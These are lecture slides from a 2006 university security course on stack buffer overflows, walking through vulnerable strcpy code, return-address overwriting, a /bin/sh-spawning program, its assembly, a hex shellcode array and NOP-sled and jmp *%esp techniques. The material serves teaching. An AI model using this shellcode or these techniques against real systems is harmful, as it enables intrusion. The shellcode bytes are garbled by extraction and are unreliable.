Lecture 11: Buffer Overflow*

CS 392/ 681: Computer Security
Fall 2006

Nitesh Saxena

*Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit) and Stanislav Nurlov

Course Admin

- HW#5 is graded
- HW#6
  - Solution to be posted (sorry for delay!)
  - To be graded
- HW#7
  - Solution to be posted
  - To be graded
- HW#8
  - Due tonight
- Exam on Friday, 2/15, 6 – 8:15pm?
Course Admin: 681 Project

- A 15 min presentation (to me, in my office) and the final report due 12/19 – 12/20
  - How to assign the slots?
- Keep the report short - 10 or so pages
- If you have something to demo, do so during the presentation

Course Admin: HW #9

- Team up in groups of 3 each
- You will have (root) access to virtual machines in ISIS
- For the exercise, you’ll have to create a user account and work under that account
- Make sure that you don’t mess up the system
- Instructions and homework will follow later
Why study buffer overflow?

- Buffer overflow vulnerabilities are the most commonly exploited - account for about half of all new security problems (CERT)
- Are relatively easy to exploit
- Many variations on stack smash - heap overflows, internet attacks, etc.
- We’ll focus upon static buffer overflow vulnerabilities

How Computer Works

- There is a processor that interfaces with various devices
- Processor executes instructions
  - Add, sub, mult, jump and various functions
Where to get the instructions from

- Each process “thinks” that it has 4GB (2^32) of (virtual) memory
- Instructions are loaded into the memory
- Processor fetches and executes these instructions one by one
- How does the processor know where to return back after “jumping” and after returning from a function

Process Memory Organization

<table>
<thead>
<tr>
<th>Code</th>
<th>Data</th>
<th>Heap</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td></td>
<td>0xFF</td>
</tr>
</tbody>
</table>

12/1/2006 Lecture 11 - Buffer Overflow 7
Process Memory Organization

```
Code          ← Stack
0             0xFF
```

Process Memory Organization

```
STACK
← FP  frame pointer
← SP  stack pointer

CODE
← IP  instruction pointer
```
Function Calls

```c
void function (int a) {
    char buffer1[5];
}
void main () {
    function (1);
}
```

Buffer Overflow: Example

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }
```

Buffer Overflows

<table>
<thead>
<tr>
<th>*str</th>
<th>return</th>
<th>section</th>
<th>buffer</th>
<th>← FP</th>
</tr>
</thead>
<tbody>
<tr>
<td>ret (main)</td>
<td>sfp (main)</td>
<td>buffer</td>
<td>← SP</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Buffer Overflows

```c
*str
ret (main)
stp (main) ← FP
buffer ← SP

void function(char *str) {
    char buffer[8];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

Buffer Overflows

```c
*str
ret (main)
stp (main) ← FP
buffer
0x41 41 41 41 ← SP

void function(char *str) {
    char buffer[8];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```
### Buffer Overflows

```c
*str
0x41414141 ← FP
0x41414141
0x41414141 ← SP

void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

### Buffer Overflows

```c
*str
0x41414141 ← FP
0x41414141
0x41414141 ← SP

void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```
Buffer Overflows

void function(char *str) {
    char buffer[6];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}

12/1/2006 Lecture 11 - Buffer Overflow
Modifying the Execution Flow

```c
void function() {  char buffer1[4];
    int *ret;
    ret = buffer1 + 8;
    (*ret) += 8;  }

void main() {  int x = 0;
    function();
    x = 1;
    printf("%d\n",x);  }
```

---

**Diagram:**

```
ret (main)
  <- SP
    slp (main)
      buffer1
        *ret
  <- IP
    void function() {  char buffer1[4];
        int *ret;
        ret = buffer1 + 8;
        (*ret) += 8;  }
    void main() {  int x = 0;
        function();
        x = 1;
        printf("%d\n",x);  }
```

12/1/2006 Lecture 11 - Buffer Overflow
Modifying the Execution Flow

```c
void function() {
    char buffer[4];
    int *ret;
    ret = buffer + 8;
    (*ret) += 8;
}

void main() {
    int x = 0;
    function();
    x = 1;
    printf("%d\n", x);
}
```

12/1/2006 Lecture 11 - Buffer Overflow
Exploiting Overflows-
Smashing the Stack

- Now we can modify the flow of execution - what do we want to do now?
- Spawn a shell and issue commands from it
Exploiting Overflows-
Smashing the Stack

• Now we can modify the flow of execution—what do we want to do now?

• Spawn a shell and issue commands from it

Exploiting Overflows-
Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?
- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!
Exploiting Overflows-
Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?
- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!

12/1/2006 Lecture 11

Spawning a Shell

```c
#include <stdio.h>
#include <stdlib.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0); }
```

12/1/2006 Lecture 11 - Buffer Overflow
Spawning a Shell

```c
void main() { __asm__( "
jmp 0x2a
popl %esi
movl %esi, 0x8(%esi)
movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)
movl $0xb, %eax
movl %esi, %ebx
lea 0x8(%esi), %ecx
lea 0xc(%esi), %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x2f
.string \"/bin/sh\"");
}
```

Spawning a Shell

```c
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00",
"\x00\xb8\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\x81\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3\";
```
How to find Shellcode

1. Guess
   - time consuming
   - being wrong by 1 byte will lead to segmentation fault or invalid instruction

2. Pad shellcode with NOP’s then guess
   - we don’t need to be exactly on
   - much more efficient
Can we do better?

- If we can find the address where SP points to, we are home

Find out what shared libraries are being used by the vulnerable program
- Use ldd command
- This also provides the starting address where the shared libraries are stored in process’s memory
- Find out where in the shared library the instruction jmp *%esp occurs
- Add this to the starting address of the shared library
- At %esp, store the instruction jmp -constant offset
Consider the simple program

```c
int function(char * a){
    char buff[256];
    if(a==NULL) return -1;
    strcpy(buff, a); return 1;
}
int main(int argc, char** argv){
    func(argv[1]);
    return(0);
}
```

Stack Contents – Normal Execution
Stack Contents – buffer overflow

References

- Smashing the Stack for Fun and Profit: [http://doc.bughunter.net/buffer-overflow/smash-stack.html](http://doc.bughunter.net/buffer-overflow/smash-stack.html)
- Text Book?